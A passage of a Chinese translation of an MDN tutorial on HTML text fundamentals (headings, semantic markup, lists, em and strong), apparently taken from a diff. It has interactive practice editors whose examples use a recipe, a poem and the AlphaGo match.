<li>在可用的六个标题级别中,您应该只在每页使用不超过三个,除非您认为有必要使用更多。具有许多级别的文档(即,较深的标题层次结构)变得难以操作并且难以导航。在这种情况下,如果可能,建议将内容分散在多个页面上。</li> +</ul> + +<h3 id="为什么我们需要结构化">为什么我们需要结构化?</h3> + +<p>回答这个问题前,让我们先来看一段文档示例“<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a>” — 并从运行这段文档示例(美味的豆沙食谱)开始。首先,您可以复制一份并保存到本地机器上,在之后的练习中您将用到它。在这个文档的主体 (body)中包含了多个内容 — 这些内容没有做任何标记,但是编辑时使用了换行 (输入回车/换行跳转到下一行)处理。</p> + +<p>然而,当您在浏览器中打开文档时,您会看到文本显示为一整块!</p> + +<p><img alt="A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it." src="https://mdn.mozillademos.org/files/12972/text-no-formatting.png" style="display: block; height: 420px; margin: 0px auto; width: 594px;"></p> + +<p>这是因为没有元素给内容结构,所以浏览器不知道什么是标题,什么是段落。此外:</p> + +<ul> + <li>用户在阅读网页时,往往会快速浏览以查找相关内容,经常只是阅读开头的标题(我们通常在一个网页上会花费很少的时间 <a class="external external-icon" href="http://www.nngroup.com/articles/how-long-do-users-stay-on-web-pages/">spend a very short time on a web page</a>)。如果用户不能在几秒内看到一些有用的内容,他们很可能会感到沮丧并离开。</li> + <li>对您的网页建立索引的搜索引擎将标题的内容视为影响网页搜索排名的重要关键字。没有标题,您的网页在{{glossary("SEO")}}(搜索引擎优化)方面效果不佳。</li> + <li>严重视力障碍者通常不会阅读网页;他们用听力来代替。完成这项工作的软件叫做屏幕阅读器(<a class="external external-icon" href="http://en.wikipedia.org/wiki/Screen_reader" title="screen readers">screen reader</a>)。该软件提供了快速访问给定文本内容的方法。在使用的各种技术中,它们通过朗读标题来提供文档的概述,让用户能快速找到他们需要的信息。如果标题不可用,用户将被迫听到整个文档的大声朗读。</li> + <li>使用{{glossary("CSS")}}样式化内容,或者使用{{glossary("JavaScript")}}做一些有趣的事情,你需要包含相关内容的元素,所以CSS / JavaScript可以有效地定位它。</li> +</ul> + +<p>因此,我们需要给我们的内容结构标记。</p> + +<h3 id="实践操作_编辑我们的内容结构">实践操作: 编辑我们的内容结构</h3> + +<p>让我们直接跳进一个实例。在下面的示例中,向“Input”字段中的原始文本添加元素,使其在“Output”字段中显示为标题和两个段落。</p> + +<p>如果您犯了错误,您可以使用<em>重置</em>按钮进行重置。如果卡住,请按<em>显示解决方案</em>按钮以查看答案。</p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 200px; } + .input { min-height: 100px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = '静夜思 床前明月光 疑是地上霜 举头望明月 低头思故乡'; + const answer = +`<h1>静夜思</h1> +<p>床前明月光 疑是地上霜</p> +<p>举头望明月 低头思故乡</p>`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html> +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="为什么我们需要语义?">为什么我们需要语义?</h3> + +<p>在我们身边的任何地方都要依赖语义学 — 我们依靠以前的经验就知道日常事物都代表什么;当我们看到什么,我们就会知道它代表什么。举个例子, 我们知道红色交通灯表示“停止”,绿色交通灯表示”通行“。 如果运用了错误的语义,事情会迅速地变得非常棘手 (难道有某个国家使用红色代表通行?我不希望如此)</p> + +<p>同样的道理,我们需要确保使用了正确的元素来给予内容正确的意思、作用以及外形。在这里,{{htmlelement("h1")}} 元素也是一个语义元素,<span class="short_text" id="result_box" lang="zh-CN"><span>它给出了包裹在您的页面上用来表示顶级标题的角色(或意义)的文本</span></span>。</p> + +<pre class="brush: html notranslate"><h1>这是一个顶级标题</h1></pre> + +<p>一般来说,浏览器会给它一个更大的字形来让它看上去像个标题(虽然你可以使用CSS让它变成任何你想要的样式。更重要的是,它的语义值将以多种方式被使用,比如通过搜索引擎和屏幕阅读器(上文提到过的)。</p> + +<p>在另一方面,你可以让任一元素看起来像一个顶级标题,如下:</p> + +<pre class="brush: html notranslate"><span style="font-size: 32px; margin: 21px 0;">这是顶级标题吗?</span></pre> + +<p>这是一个 {{htmlelement("span")}} 元素,它没有语义。当您想要对它用CSS(或者JS)时,您可以用它包裹内容,且不需要附加任何额外的意义(在未来的课程中你会发现更多这类元素)。我们已经对它使用了CSS来让它看起来像一个顶级标题。然而,由于它没有语义值,所以它不会有任何上文提到的帮助。最好的方法是使用相关的HTML元素来标记这个项目。</p> + +<h2 id="列表_Lists">列表 Lists</h2> + +<p>现在,让我们学习一下列表。列表在生活中随处可见——从购物清单到回家的路线方案,再到本教程的说明列表。在网络上,列表也随处可见,大致包含了三种不同类型的列表。</p> + +<h3 id="无序_Unordered">无序 Unordered</h3> + +<p>无序列表用于标记列表项目顺序无关紧要的列表 — 让我们以早点清单为例。</p> + +<pre class="notranslate">豆浆 +油条 +豆汁 +焦圈 +</pre> + +<p>每份无序的清单从 {{htmlelement("ul")}} 元素开始——需要包裹清单上所有被列出的项目:</p> + +<pre class="brush: html notranslate"><ul> +豆浆 +油条 +豆汁 +焦圈 +</ul></pre> + +<p>然后就是用 {{htmlelement("li")}} 元素把每个列出的项目单独包裹起来:</p> + +<pre class="brush: html notranslate"><ul> + <li>豆浆</li> + <li>油条</li> + <li>豆汁</li> + <li>焦圈</li> +</ul></pre> + +<h4 id="实践操作_标记无序列表">实践操作: 标记无序列表</h4> + +<p>尝试编辑下面的示例来创建一个HTML无序列表。</p> + +<div class="hidden"> +<h6 id="Playable_code_2">Playable code 2</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 100px; } + .input { min-height: 100px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = '豆浆 油条 豆汁 焦圈'; + const answer = +`<ul> +<li>豆浆</li> +<li>油条</li> +<li>豆汁</li> +<li>焦圈</li> +</ul>`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html> +</pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_2', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="有序_Ordered">有序 Ordered</h3> + +<p>有序列表需要按照项目的顺序列出来——让我们以一组方向为例:</p> + +<pre class="notranslate">沿着条路走到头 +右转 +直行穿过第一个十字路口 +在第三个十字路口处左转 +继续走 300 米,学校就在你的右手边 +</pre> + +<p>这个标记的结构和无序列表一样,除了需要用{{htmlelement("ol")}} 元素将所有项目包裹, 而不是<code><ul>:</code></p> + +<pre class="brush: html notranslate"><ol> + <li>沿着条路走到头</li> + <li>右转</li> + <li>直行穿过第一个十字路口</li> + <li>在第三个十字路口处左转</li> + <li>继续走 300 米,学校就在你的右手边</li> +</ol></pre> + +<h4 id="实践操作_标记有序列表">实践操作: 标记有序列表</h4> + +<p>尝试编辑下面的示例来创建一个HTML有序列表:</p> + +<div class="hidden"> +<h6 id="Playable_code_3">Playable code 3</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 120px; } + .input { min-height: 120px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = +`沿着条路走到头 +右转 +直行穿过第一个十字路口 +在第三个十字路口处左转 +继续走 300 米,学校就在你的右手边`; + const answer = +`<ol> + <li>沿着条路走到头</li> + <li>右转</li> + <li>直行穿过第一个十字路口</li> + <li>在第三个十字路口处左转</li> + <li>继续走 300 米,学校就在你的右手边</li> +</ol>`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_3', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="实践操作_标记我们的食谱">实践操作: 标记我们的食谱</h3> + +<p>到了这里,你拥有了所有你需要的信息来标记我们的食谱样例。你可以选择从<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a>复制一份文件并保存在本地,打开它进行编辑,或者在下面的例子中进行编辑。因为在本地你可以保存你的项目,所以在本地做这个工作可能更好。而如果你在下面可编辑的样本中作业,下一次你打开这个网站时你可能会丢失你的数据。各有利弊吧。</p> + +<div class="hidden"> +<h6 id="Playable_code_4">Playable code 4</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 200px; } + .input { min-height: 200px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = +`宫保鸡丁的做法 +宫保鸡丁,川菜系中的传统名菜,由鸡丁、干辣椒、花生米等炒制而成。由于其入口鲜辣,鸡肉的鲜嫩配合花生的香脆,广受大众欢迎。 +相传宫保鸡丁是清朝光绪年间的署理四川总督丁宝桢所发明,是他招待客人时叫家厨煮的菜肴。由于丁宝桢后来被封为东宫少保(太子少保),所以被称为“丁宫保”,而这道菜亦被称为“宫保鸡丁” + +原料 +去骨鸡胸肉:一斤八两 +干红辣椒:八钱 +炸花生米:一两五钱 +花椒粒:两大匙 +葱:两根(切段) +蛋白:一个 +淀粉:三大匙 +酱油:两大匙 +蒜末:半茶匙 +糖:半茶匙 +白醋:一茶匙 +色拉油:适量 +盐:两茶匙 + +做法 +先用蛋白一个、盐半茶匙及淀粉两大匙搅拌均匀,调成“腌料”,鸡胸肉切成约一厘米见方的碎丁并用“腌料”搅拌均匀,腌渍半小时。 +用酱油一大匙、淀粉水一大匙、糖半茶匙、盐四分之一茶匙、白醋一茶匙、蒜末半茶匙调拌均匀,调成“综合调味料”。 +鸡丁腌好以后,色拉油下锅烧热,先将鸡丁倒入锅内,用大火快炸半分钟,炸到变色之后,捞出来沥干油汁备用。 +在锅里留下约两大匙油,烧热后将切好的干辣椒下锅,用小火炒香后,再放入花椒粒和葱段一起爆香。随后鸡丁重新下锅,用大火快炒片刻后,再倒入“综合调味料”继续快炒。 +如果你采用正宗川菜做法,最后只需加入花生米,炒拌几下就可以起锅了。 +如果你在北方,可加入黄瓜丁、胡萝卜丁和花生米,翻炒后起锅。 + +大千鸡 +张大千居加拿大期间,曾按自己喜好改变宫保鸡丁的做法,并传授当地厨师,厨师将之命名为“大千鸡”,以兹纪念。大千鸡与宫保鸡丁不同之处,是使用经细工去皮、出骨、剔膜的鸡腿肉,以干辣椒、豆瓣酱为味,而且不用花生。 +`; + const answer = +`<h1>宫保鸡丁的做法</h1> +<p>宫保鸡丁,川菜系中的传统名菜,由鸡丁、干辣椒、花生米等炒制而成。由于其入口鲜辣,鸡肉的鲜嫩配合花生的香脆,广受大众欢迎。</p> +<p>相传宫保鸡丁是清朝光绪年间的署理四川总督丁宝桢所发明,是他招待客人时叫家厨煮的菜肴。由于丁宝桢后来被封为东宫少保(太子少保),所以被称为“丁宫保”,而这道菜亦被称为“宫保鸡丁”</p> + +<h2>原料</h2> +<ul> + <li>去骨鸡胸肉:一斤八两</li> + <li>干红辣椒:八钱</li> + <li>炸花生米:一两五钱</li> + <li>花椒粒:两大匙</li> + <li>葱:两根(切段)</li> + <li>蛋白:一个</li> + <li>淀粉:三大匙</li> + <li>酱油:两大匙</li> + <li>蒜末:半茶匙</li> + <li>糖:半茶匙</li> + <li>白醋:一茶匙</li> + <li>色拉油:适量</li> + <li>盐:两茶匙</li> +</ul> + +<h2>做法</h2> +<ol> + <li>先用蛋白一个、盐半茶匙及淀粉两大匙搅拌均匀,调成“腌料”,鸡胸肉切成约一厘米见方的碎丁并用“腌料”搅拌均匀,腌渍半小时。</li> + <li>用酱油一大匙、淀粉水一大匙、糖半茶匙、盐四分之一茶匙、白醋一茶匙、蒜末半茶匙调拌均匀,调成“综合调味料”。</li> + <li>鸡丁腌好以后,色拉油下锅烧热,先将鸡丁倒入锅内,用大火快炸半分钟,炸到变色之后,捞出来沥干油汁备用。</li> + <li>在锅里留下约两大匙油,烧热后将切好的干辣椒下锅,用小火炒香后,再放入花椒粒和葱段一起爆香。随后鸡丁重新下锅,用大火快炒片刻后,再倒入“综合调味料”继续快炒。</li> + <li>如果你采用正宗川菜做法,最后只需加入花生米,炒拌几下就可以起锅了。</li> + <li>如果你在北方,可加入黄瓜丁、胡萝卜丁和花生米,翻炒后起锅。</li> +</ol> + +<h2>大千鸡</h2> +<p>张大千居加拿大期间,曾按自己喜好改变宫保鸡丁的做法,并传授当地厨师,厨师将之命名为“大千鸡”,以兹纪念。大千鸡与宫保鸡丁不同之处,是使用经细工去皮、出骨、剔膜的鸡腿肉,以干辣椒、豆瓣酱为味,而且不用花生。</p>`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_4', 700, 800, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>如果你感到棘手,你可以随时按下<em>Show solution</em>按钮,或者在我们的github repo上检查我们的 <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-complete.html">text-complete.html</a> 样例。</p> + +<h3 id="嵌套列表_Nesting_lists">嵌套列表 Nesting lists</h3> + +<p><span id="result_box" lang="zh-CN"><span>将一个列表嵌入到另一个列表是完全可以的。</span> <span>你可能想让一些子项目列在首项目之下。</span><span>让我们从食谱示例中获取第二个列表:</span></span></p> + +<pre class="brush: html notranslate"><ol> + <li>先用蛋白一个、盐半茶匙及淀粉两大匙搅拌均匀,调成“腌料”,鸡胸肉切成约一厘米见方的碎丁并用“腌料”搅拌均匀,腌渍半小时。</li> + <li>用酱油一大匙、淀粉水一大匙、糖半茶匙、盐四分之一茶匙、白醋一茶匙、蒜末半茶匙调拌均匀,调成“综合调味料”。</li> + <li>鸡丁腌好以后,色拉油下锅烧热,先将鸡丁倒入锅内,用大火快炸半分钟,炸到变色之后,捞出来沥干油汁备用。</li> + <li>在锅里留下约两大匙油,烧热后将切好的干辣椒下锅,用小火炒香后,再放入花椒粒和葱段一起爆香。随后鸡丁重新下锅,用大火快炒片刻后,再倒入“综合调味料”继续快炒。</li> + <li>如果你采用正宗川菜做法,最后只需加入花生米,炒拌几下就可以起锅了。</li> + <li>如果你在北方,可加入黄瓜丁、胡萝卜丁和花生米,翻炒后起锅。</li> + </ol></pre> + +<p>由于最后两项与它们的前一项非常密切相关(它们看起来更像该项的子项或选项),将它们编辑成无序列表,并嵌套在该项的子项中可能更合理。就像下面这样:</p> + +<pre class="brush: html notranslate"><ol> + <li>先用蛋白一个、盐半茶匙及淀粉两大匙搅拌均匀,调成“腌料”,鸡胸肉切成约一厘米见方的碎丁并用“腌料”搅拌均匀,腌渍半小时。</li> + <li>用酱油一大匙、淀粉水一大匙、糖半茶匙、盐四分之一茶匙、白醋一茶匙、蒜末半茶匙调拌均匀,调成“综合调味料”。</li> + <li>鸡丁腌好以后,色拉油下锅烧热,先将鸡丁倒入锅内,用大火快炸半分钟,炸到变色之后,捞出来沥干油汁备用。</li> + <li>在锅里留下约两大匙油,烧热后将切好的干辣椒下锅,用小火炒香后,再放入花椒粒和葱段一起爆香。随后鸡丁重新下锅,用大火快炒片刻后,再倒入“综合调味料”继续快炒。 + <ul> + <li>如果你采用正宗川菜做法,最后只需加入花生米,炒拌几下就可以起锅了。</li> + <li>如果你在北方,可加入黄瓜丁、胡萝卜丁和花生米,翻炒后起锅。</li> + </ul> + </li> +</ol></pre> + +<p>尝试回到上一个实践操作的例子中,并更新第二个列表。</p> + +<h2 id="重点强调">重点强调</h2> + +<p>在日常用语中,我们常常会加重某个字的读音,或者用加粗等方式突出某句话的重点。与此类似,HTML 也提供了相应的标签,用于标记某些文本,使其具有加粗、倾斜、下划线等效果。下面,我们将学习一些最常见的标签。</p> + +<h3 id="强调">强调</h3> + +<p>在口语表达中,我们有时会强调某些字,用来改变这句话的意思。同样地,在书面用语中,我们可以使用斜体字来达到同样的效果。例如,下面两个句子便有不同的意思:</p> + +<p>I am glad you weren't late.</p> + +<p>I am <em>glad</em> you weren't <em>late</em>. (ps: 此句中"<em>glad"</em>和"late"为斜体字体)</p> + +<p>第一句话听起来真的像松了一口气因为没有迟到。相反,第二句话听起来具有讽刺性而且有隐含的攻击性,表达对一个人迟到的恼怒。</p> + +<p>在HTML中我们用{{htmlelement("em")}}(emphasis)元素来标记这样的情况。这样做既可以让文档读起来更有趣,也可以被屏幕阅读器识别出来,并以不同的语调发出。浏览器默认风格为斜体,但你不应该纯粹使用这个标签来获得斜体风格,为了获得斜体风格,你应该使用{{htmlelement("span")}}元素和一些CSS,或者是{{htmlelement("i")}}元素(见下文)。</p> + +<pre class="brush: html notranslate"><p>I am <em>glad</em> you weren't <em>late</em>.</p></pre> + +<h3 id="非常重要">非常重要</h3> + +<p>为了强调重要的词,在口语方面我们往往用重音强调,在文字方面则是用粗体字来达到强调的效果。例如下面这段:</p> + +<p>This liquid is <strong>highly toxic</strong>.</p> + +<p>I am counting on you. <strong>Do not</strong> be late!</p> + +<p>在HTML中我们用{{htmlelement("strong")}} (strong importance) 元素来标记这样的请况。这样做既可以让文档更加地有用,也可以被屏幕阅读器识别出来,并以不同的语调发出。浏览器默认风格为粗体,但你不应该纯粹使用这个标签来获得粗体风格,为了获得粗体风格,你应该使用{{htmlelement("span")}}元素和一些CSS,或者是 {{htmlelement("b")}} 元素 (见下文)。</p> + +<pre class="brush: html notranslate"><p>This liquid is <strong>highly toxic</strong>.</p> + +<p>I am counting on you. <strong>Do not</strong> be late!</p></pre> + +<p>如有需要你可以将strong元素和em元素嵌套在其他的标签中:</p> + +<pre class="brush: html notranslate"><p>This liquid is <strong>highly toxic</strong> — +if you drink it, <strong>you may <em>die</em></strong>.</p></pre> + +<h3 id="实践操作_我们是重要的!">实践操作: 我们是重要的!</h3> + +<p>在这个实践操作中,我们提供了可编辑的例子。在这个例子中,我们想让你把斜体(em)和加粗(strong)放在你认为重要的词汇上,仅仅为了练习。</p> + +<div class="hidden"> +<h6 id="Playable_code_5">Playable code 5</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <style> + body { font-family: '微软雅黑', Helvetica, Arial, sans-serif; margin: 10px; background: #f5f9fa; } + h2 { font-size: 16px; } + code, textarea { font-family: Consolas, Menlo, monospace; } + .output { min-height: 150px; } + .input { min-height: 150px; width: 95%; } + .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } + .controls { width: 96%; text-align: right; } + </style> + + </head> + <body> + <h2>实时输出</h2> + <div class="output"></div> + + <h2>可编辑代码</h2> + <p class="a11y-label">按 ESC 退出编辑区域,按 Tab 可插入制表符 <code>'\t'</code> </p> + <textarea id="code" class="input"></textarea> + + <div class="controls"> + <button id="btn-reset">重置</button> + <button id="btn-solution">显示答案</button> + </div> + <script> + const btnReset = document.getElementById('btn-reset'); + const btnSolution = document.getElementById('btn-solution'); + const blockOutput = document.querySelector('.output'); + const blockInput = document.querySelector('.input'); + const original = +`AlphaGo 李世乭五番棋 + +<p>2016年3月8日到3月15日,韩国职业棋士李世乭(이세돌)九段与由 Google DeepMind 开发的计算机围棋软件 AlphaGo 对弈的五局三胜制围棋比赛在韩国首尔举行。结果为 AlphaGo 以四胜一负的战绩击败李世乭。赛后韩国棋院授予 AlphaGo 荣誉九段的称号。</p>`; + const answer = +`<h1>AlphaGo 李世乭五番棋</h1> + +<p><strong>2016年3月8日</strong>到<strong>3月15日</strong>,韩国职业棋士<strong>李世乭(이세돌)<em>九段</em></strong>与由 Google DeepMind 开发的计算机围棋软件 <strong>AlphaGo</strong> 对弈的五局三胜制围棋比赛在韩国<strong>首尔</strong>举行。结果为 AlphaGo 以<strong>四胜一负</strong>的战绩击败李世乭。赛后韩国棋院授予 AlphaGo <strong>荣誉九段</strong>的称号。</p>`; + let userEntry = ""; + + init(); + btnReset.addEventListener('click', init); + + btnSolution.addEventListener('click', () => { + if (btnSolution.textContent === '显示答案') { + blockInput.value = + blockOutput.innerHTML = answer; + btnSolution.textContent = '隐藏答案'; + } else { + blockInput.value = + blockOutput.innerHTML = userEntry; + btnSolution.textContent = '显示答案'; + } + }); + + blockInput.addEventListener('keydown', (e) => { + switch (e.key) { + case 'Tab': + e.preventDefault(); + insertAtCursor('\t'); + break; + case "Escape": + blockInput.blur(); + break; + } + }); + + blockInput.addEventListener('keyup', () => { + userEntry = blockInput.value; + blockOutput.innerHTML = blockInput.value; + if (btnSolution.textContent === '隐藏答案') { + btnSolution.textContent = '显示答案'; + } + }); + + function init() { + userEntry = + blockOutput.innerHTML = + blockInput.value = original; + btnSolution.textContent = '显示答案'; + } + + function insertAtCursor(text) { + const scrollPos = blockInput.scrollTop; + const cursorPos = blockInput.selectionStart; + + const front = blockInput.value.substring(0, cursorPos); + const back = blockInput.value.substring( + blockInput.selectionEnd, blockInput.value.length); + + blockInput.value = front + text + back; + blockInput.selectionStart = + blockInput.selectionEnd = cursorPos + text.length; + blockInput.focus(); + blockInput.scrollTop = scrollPos; + } + </script> + </body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code_5', 700, 500, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="斜体字、粗体字、下划线...">斜体字、粗体字、下划线...</h3> + +<p>迄今为止我们已经讨论的元素都是意义清楚的语义元素。{{htmlelement("b")}}, {{htmlelement("i")}}, 和 {{htmlelement("u")}} 的情况却有点复杂。它们出现于人们要在文本中使用粗体、斜体、下划线但CSS仍然不被完全支持的时期。像这样的元素,仅仅影响表象而且没有语义,被称为<strong>表象元素(presentational elements)</strong>并且不应该再被使用。因为正如我们在之前看到的,语义对可访问性,SEO(搜索引擎优化)等非常重要。</p> + +<p>HTML5用新的语义规则重新定义了<code><b></code>,<code><i></code>和<code><u></code>,使得它们的语言显得稍微有点混乱。</p> + +<p>这里是最好的经验法则:如果没有更合适的元素,那么使用 <code><b></code>、<code><i></code> 或 <code><u></code> 来表达传统上的粗体、斜体或下划线表达的意思是合适的。然而,始终拥有<a 